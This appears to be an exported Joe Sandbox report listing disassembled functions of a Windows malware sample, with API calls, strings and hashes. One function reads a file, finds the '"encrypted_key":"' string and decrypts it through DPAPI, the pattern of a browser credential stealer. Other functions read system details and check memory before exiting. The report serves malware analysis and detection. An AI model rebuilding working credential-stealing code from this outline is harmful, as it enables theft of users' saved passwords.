Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: d18e721b677ea00253cee4809a87ff168379704aef554786c47da27238571ff4
Instruction ID: 4b38bcdf4b26334e92011d2afc85684f5de30c9d99a5fbb6c2969719591fa665
Opcode Fuzzy Hash: d18e721b677ea00253cee4809a87ff168379704aef554786c47da27238571ff4
Instruction Fuzzy Hash: 2B2168B1C00208ABEF14DFA4E849BDD7B74FB00321F108228F925A72D0EB746A05CF92

Function 00737690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007376A4
HeapAlloc.KERNEL32(00000000), ref: 007376AB
RegOpenKeyExA.KERNEL32(80000002,015FA268,00000000,00020119,00000000), ref: 007376DD
RegQueryValueExA.KERNEL32(00000000,015FFFF0,00000000,00000000,?,000000FF), ref: 007376FE
RegCloseKey.ADVAPI32(00000000), ref: 00737708

Strings

Windows 11, xrefs: 007376BD

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: f2570022b636d6c56503e512321ea24133b51bb3e696b4bf8853f3d08b761027
Instruction ID: 81286123bf26f1b7b4513dc68b10b1e6d7996607961fc42498fbb7a833e86d80
Opcode Fuzzy Hash: f2570022b636d6c56503e512321ea24133b51bb3e696b4bf8853f3d08b761027
Instruction Fuzzy Hash: EB0162B5A18208FBE714DBE5DD49F6DB7B8EB48701F104058FA05E7291E6B4A900DF51

Function 00737720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00737734
HeapAlloc.KERNEL32(00000000), ref: 0073773B
RegOpenKeyExA.KERNEL32(80000002,015FA268,00000000,00020119,007376B9), ref: 0073775B
RegQueryValueExA.KERNEL32(007376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0073777A
RegCloseKey.ADVAPI32(007376B9), ref: 00737784

Strings

CurrentBuildNumber, xrefs: 00737771

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 4f3c9de1924d3f1931d1d5b174d2e978818bd070c904e8d8d96e1e207c44f538
Instruction ID: b76b08bb4a0dcf48505047cdfbe0297693d2f1ccc66cb77a909c3af2e729785b
Opcode Fuzzy Hash: 4f3c9de1924d3f1931d1d5b174d2e978818bd070c904e8d8d96e1e207c44f538
Instruction Fuzzy Hash: 6301F4B5A54308BBE710DBE4DC4AFAEB7B8EB44701F104559FA05A7281D6B465009F91

Function 007340B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 007340D5
RegOpenKeyExA.KERNEL32(80000001,01600F08,00000000,00020119,?), ref: 007340F4
RegQueryValueExA.ADVAPI32(?,01600380,00000000,00000000,00000000,000000FF), ref: 00734118
RegCloseKey.ADVAPI32(?), ref: 00734122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00734147
lstrcatA.KERNEL32(?,01600350), ref: 0073415B

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 4b1ac22e1c36ee1e63032c4941880d3169a941e13d06961e8ccbebfeff30f442
Instruction ID: 6764dad75ea260c67902f73c137f5b4581b780c1f9dbf8fa711f0bdd6260f7c0
Opcode Fuzzy Hash: 4b1ac22e1c36ee1e63032c4941880d3169a941e13d06961e8ccbebfeff30f442
Instruction Fuzzy Hash: 334159B6D10108ABDB24EBA0EC5AFEE737DBB58300F40455CF61557181EAB95B888BD2

Function 007299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00729A11
LocalAlloc.KERNEL32(00000040,?), ref: 00729A31
ReadFile.KERNEL32(000000FF,?,00000000,007302E7,00000000), ref: 00729A5A
LocalFree.KERNEL32(007302E7), ref: 00729A90
CloseHandle.KERNEL32(000000FF), ref: 00729A9A

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 04a2d76bc9bbee2ffd78e47c1d707006e27ff046c65d2ec646de7f9a65b82f6d
Instruction ID: 66774f88bdad4a689e28e772ad5f13a7115dd57ba7886b4cf75adc94743d6685
Opcode Fuzzy Hash: 04a2d76bc9bbee2ffd78e47c1d707006e27ff046c65d2ec646de7f9a65b82f6d
Instruction Fuzzy Hash: 333118B4A00309EFDB14CFA4D989BEE77B5FF48340F148158E911A7290D778AA41DFA1

Function 00721220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0072123E
__aulldiv.LIBCMT ref: 00721258
__aulldiv.LIBCMT ref: 00721266
ExitProcess.KERNEL32 ref: 00721294

Strings

@, xrefs: 00721233

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ebed84809fbd91ff19427d9f7b71afb4947f5a17bac36fc3d49245aa0d854477
Instruction ID: e2133915d4bdc52ed05074513f492504e43f11d08a1d1119a47b61485a8ca43c
Opcode Fuzzy Hash: ebed84809fbd91ff19427d9f7b71afb4947f5a17bac36fc3d49245aa0d854477
Instruction Fuzzy Hash: 3C0162B0E44308FAEB10DBE0DC49B9EB7B8BB14701F608048F705B62C1D7B85A418B59

Function 00729CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 007299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007299EC
Part of subcall function 007299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00729A11
Part of subcall function 007299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00729A31
Part of subcall function 007299C0: ReadFile.KERNEL32(000000FF,?,00000000,007302E7,00000000), ref: 00729A5A
Part of subcall function 007299C0: LocalFree.KERNEL32(007302E7), ref: 00729A90
Part of subcall function 007299C0: CloseHandle.KERNEL32(000000FF), ref: 00729A9A

Part of subcall function 00738E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00738E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00729D39

Part of subcall function 00729AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nr,00000000,00000000), ref: 00729AEF
Part of subcall function 00729AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00724EEE,00000000,?), ref: 00729B01
Part of subcall function 00729AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nr,00000000,00000000), ref: 00729B2A
Part of subcall function 00729AC0: LocalFree.KERNEL32(?,?,?,?,00724EEE,00000000,?), ref: 00729B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00729D92

Part of subcall function 00729B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00729B84
Part of subcall function 00729B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00729BA3
Part of subcall function 00729B60: memcpy.MSVCRT(?,?,?), ref: 00729BC6
Part of subcall function 00729B60: LocalFree.KERNEL32(?), ref: 00729BD3

Strings

DPAPI, xrefs: 00729D89
"encrypted_key":", xrefs: 00729D30
, xrefs: 00729DC1

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 9d19e27f8dbfdccd55616eaf732530b74af72905f1d5d07e3cda3ddc9fe6b2b4
Instruction ID: 254837a673313f36af13cda3245635ba7cae044ba8d49aa747a4e954af54ae4c
Opcode Fuzzy Hash: 9d19e27f8dbfdccd55616eaf732530b74af72905f1d5d07e3cda3ddc9fe6b2b4
Instruction Fuzzy Hash: FC3141B5E10219EBCF04DFE4EC85BEE77B8BF48304F184518EA05A7241E7789A44CBA1

Function 6C5DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5DC969
GetSystemInfo.KERNEL32(?), ref: 6C5DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5DC9E2

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction ID: 99c4c5a79ea9f165a77f8a4dac837265f2c463877daa5fb4791794bb30ed1147
Opcode Fuzzy Hash: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction Fuzzy Hash: 33212F31741714ABDB04BB29CCC4BAE73B9AB87708F518519F90797780E7707C008799

Function 00737E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00737E37
HeapAlloc.KERNEL32(00000000), ref: 00737E3E
RegOpenKeyExA.KERNEL32(80000002,015FA620,00000000,00020119,?), ref: 00737E5E
RegQueryValueExA.KERNEL32(?,01600E68,00000000,00000000,000000FF,000000FF), ref: 00737E7F
RegCloseKey.ADVAPI32(?), ref: 00737E92

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 5edaeed8a1d8b9f5264af5fe6a9e9c9b70023adf6d744829219fc5f905dccbbb
Instruction ID: 22600fc8f978049bf4f528777b8813bc731f64854b2b0173e226a2ed545bc152
Opcode Fuzzy Hash: 5edaeed8a1d8b9f5264af5fe6a9e9c9b70023adf6d744829219fc5f905dccbbb
Instruction Fuzzy Hash: 0F114FB1A58205EBD714CF94DD49F7BBBB8EB44B10F10415DF605A7281D7B85800DFA1

Function 007212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 007212B4
HeapAlloc.KERNEL32(00000000), ref: 007212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 007212F5
RegCloseKey.ADVAPI32(?), ref: 007212FF

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
